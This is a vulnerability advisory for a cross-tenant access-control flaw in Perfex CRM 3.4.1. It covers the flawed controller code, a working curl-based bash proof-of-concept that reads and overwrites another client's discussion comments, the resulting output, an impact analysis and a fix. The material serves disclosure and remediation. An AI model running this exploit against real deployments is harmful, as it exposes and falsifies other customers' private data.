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Perfex CRM 3.4.1 Cross-Tenant IDOR Vulnerability

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Bytium Operators

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Key facts

Vendor / Product	Perfex / Perfex CRM (commercial, CodeCanyon)
Affected version	3.4.1 – very likely every earlier 3.x build that shares the same handler
Vulnerability class	Cross-tenant Insecure Direct Object Reference (IDOR)
CWE	CWE-639 (Authorization Bypass Through User-Controlled Key); CWE-284 (Improper Access Control)
CVSS 3.1	AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L – 8.1 High
Authentication required	Any authenticated client-portal user with the <code>projects</code> permission and one project of their own
Primitives	Cross-tenant <code>read</code> , <code>update</code> , <code>delete</code> , and <code>insert</code> on <code>tblprojectdiscussioncomments</code>
Affected file	<code>application/controllers/Clients.php::Clients::project()</code> and four methods in <code>application/models/Projects_model.php</code>
Fix complexity	Low – re-scope each action to the current project's <code>clientid</code>

Perfex CRM's client portal is tenant-aware: Customer A must never see or touch Customer B's data. One controller, `Clients::project($id)`, checks tenancy on the project ID in the URL,

but forgets to check it on the `discussion_id` and comment `id` that arrive in the POST body. So any authenticated client – using their own project URL – can read, modify, delete, or inject discussion comments in any other tenant's projects, just by putting that tenant's integer IDs in the request body. IDs are auto-incremented, so enumeration is trivial.

How the bug works

`application/controllers/Clients.php::project()` is the client-portal project handler. It correctly scopes the URL `$id`:

```
$project = $this->projects_model->get($id, [
    'clid' => get_client_user_id(), // ✓ outer gate – works
]);
if (!$project) { show_404(); }
```

...but then it dispatches on a POST `action` field, and four of those actions pass the inner IDs straight to the model without re-scoping:

```
case 'discussion_comments':
    echo json_encode($this->projects_model->get_discussion_comments(
        $this->input->post('discussion_id'), // ✗ no tenancy check
        $this->input->post('discussion_type')
    ));

case 'update_discussion_comment': // ✗ same problem with id
case 'delete_discussion_comment': // ✗ same problem with id
case 'new_discussion_comment': // ✗ same problem with discussion_id
```

And the model methods they call (`get_discussion_comments`, `update_discussion_comment`, `delete_discussion_comment`, `add_discussion_comment`) just run the query on whichever integer they receive. No `JOIN` to `tblprojectdiscussions`, no ownership filter, nothing. That's the whole bug.

The outer gate looks like it protects everything because the URL is the obvious entry point. It doesn't – the POST body carries a second primary key into the same tenant-sensitive table, and nobody checks it.

Reproduction

Needs two client-portal accounts on a stock Perfex 3.4.1 install – the normal customer-onboarding workflow. For the walkthrough:

Attacker (Alice)Victim (Bob)Portal login `alice@example.com` /
`ClientPass1!bob@example.com` / `ClientPass2!` Owns project id `12` Has a discussion on that project `id=1id=2`

1. Bob uses the product normally

Bob logs in, opens his own project discussion, posts a comment through the UI:

“Confidential: please send the Q2 payment to account BOB-9988-7766”

2. Alice runs `proof.sh`

```
#!/usr/bin/env bash
set -e
BASE=http://localhost:8090
JAR=$(mktemp); trap 'rm -f "$JAR"' EXIT

# Log in as Alice
TOK=$(curl -s -c "$JAR" "$BASE/authentication/login" \
  | grep -oE 'csrf_token_name" value="[^\"]*' | sed 's/.*value="//;s///')
curl -s -c "$JAR" -b "$JAR" -o /dev/null -X POST "$BASE/authentication/login" \
  --data-urlencode "csrf_token_name=$TOK" \
  --data-urlencode "email=alice@example.com" \
  --data-urlencode "password=ClientPass1!"

# Fresh CSRF token from Alice's own project page
TOK=$(curl -s -b "$JAR" "$BASE/clients/project/1" \
  | grep -oE '"[a-f0-9]{32}"' | head -1 | tr -d '"')

# Read Bob's private comment (discussion_id=2)
curl -s -b "$JAR" -H "X-Requested-With: XMLHttpRequest" \
  -X POST "$BASE/clients/project/1" \
  --data-urlencode "csrf_token_name=$TOK" \
  --data-urlencode "action=discussion_comments" \
  --data-urlencode "discussion_id=2" \
  --data-urlencode "discussion_type=regular"

# Overwrite Bob's comment (id=1)
curl -s -b "$JAR" -H "X-Requested-With: XMLHttpRequest" \
  -X POST "$BASE/clients/project/1" \
```

```
--data-urlencode "csrf_token_name=$TOK" \
--data-urlencode "action=update_discussion_comment" \
--data-urlencode "id=1" \
--data-urlencode "content=HACKED BY ALICE - cross tenant write"
```

The read returns Bob's comment JSON. The update returns HTTP 200 with the rewritten row —

`content` is attacker-controlled, but `fullname` and `contact_id` still say Bob.

```
bash poc.sh
=====
STEP 1 - Alice READS Bob's private comment (discussion_id=2)
=====
[
  {
    "id": "1",
    "discussion_id": "2",
    "discussion_type": "regular",
    "parent": null,
    "created": 1776516679000,
    "modified": 1776521536000,
    "content": "Test IDOR",
    "staff_id": "0",
    "contact_id": "2",
    "fullname": "Bob Two",
    "file_name": null,
    "file_mime_type": null,
    "created_by_current_user": false,
    "profile_picture_url": "http://localhost:8090/assets/images/user-placeholder.jpg"
  }
]

=====
STEP 2 - Alice OVERWRITES Bob's comment id=1
=====
{"id":"1","discussion_id":"2","discussion_type":"regular","parent":null,"created":1776516679000,"modified":1776521594000,"content":"IDOR Proof - cross tenant write","staff_id":"0","contact_id":"2","fullname":"Bob Two","file_name":null,"file_mime_type":null,"created_by_current_user":false,"profile_picture_url":"http://localhost:8090/assets/images/user-placeholder.jpg"}
HTTP 200

=====
STEP 3 - Database state after attack
=====
id      discussion_id  content      fullname      modified
1       2              IDOR Proof - cross tenant write Bob Two 2026-04-18 14:13:14
```

3. Bob refreshes his tab

Bob reloads his discussion and sees "IDOR Proof - cross tenant write" attributed to himself. His own name, his own timestamp, content he never wrote.

The same pattern gives delete (`action=delete_discussion_comment`, `id=<N>`) and insert (`action=new_discussion_comment` with arbitrary `discussion_id`). A full four-action reproducer is included in the advisory bundle as `poc.sh`.

Impact

Project discussions are the most sensitive free-text surface in most Perfex deployments – credentials pasted by mistake, billing negotiations, contract terms, internal staff notes. This bug turns that surface into a shared resource across every tenant on the install.

Concretely, any authenticated client can:

- **Read** every other tenant's discussion content by iterating `discussion_id` from 1 upward.
- **Rewrite** any comment body (including staff messages) while the UI keeps showing the original author's name and timestamp – a clean gaslighting / social-engineering primitive.
- **Delete** individual comments, destroying the audit trail.
- **Insert** forged comments into any tenant's thread – useful for planting fake "please switch payment to this IBAN" messages.

For Perfex operators running multi-tenant client portals (MSPs, agencies, white-label resellers), a single paying customer can silently harvest or sabotage every other customer on the same installation.

Not an admin-account takeover path on its own – CodeIgniter's built-in

`global_xss_filtering` neutralises the obvious stored-XSS pivot (tested against common payloads). The finding is strictly cross-tenant content access, not privilege escalation.

Fix

Validate that the referenced discussion belongs to a project owned by the current client before invoking any of the four model methods. The helper

`Projects_model::get_discussion($id, $project_id)` already exists and accepts a `project_id` – it simply isn't called from these actions. One example:

```
case 'update_discussion_comment':
    $comment = $this->projects_model->get_discussion_comment(
        (int) $this->input->post('id')
    );
    if (!$comment) { show_404(); }
    $discussion = $this->projects_model->get_discussion(
        $comment->discussion_id,
        $project->id // already scoped to get_client_user_id()
    );
    if (!$discussion) { show_404(); }
    echo json_encode($this->projects_model->update_discussion_comment($this->input->pos
```

```
die;
```

Same pattern for the other three actions. Fail closed if the referenced discussion can't be resolved under the current client's project.

Credit

Discovered and reported by **Jobyer Ahmed** – Offensive Security Research, Founder, [Bytium](#).


References

- CWE-639 – <https://cwe.mitre.org/data/definitions/639.html>
- CWE-284 – <https://cwe.mitre.org/data/definitions/284.html>
- CVSS 3.1 calculator – <https://www.first.org/cvss/calculator/3.1>

Part of Bytium's ongoing work on multi-tenant SaaS security. If you run Perfex CRM 3.x in a shared-tenant configuration, update as soon as a patched build ships; in the interim, restrict the `projects` contact permission to contacts that genuinely need it.

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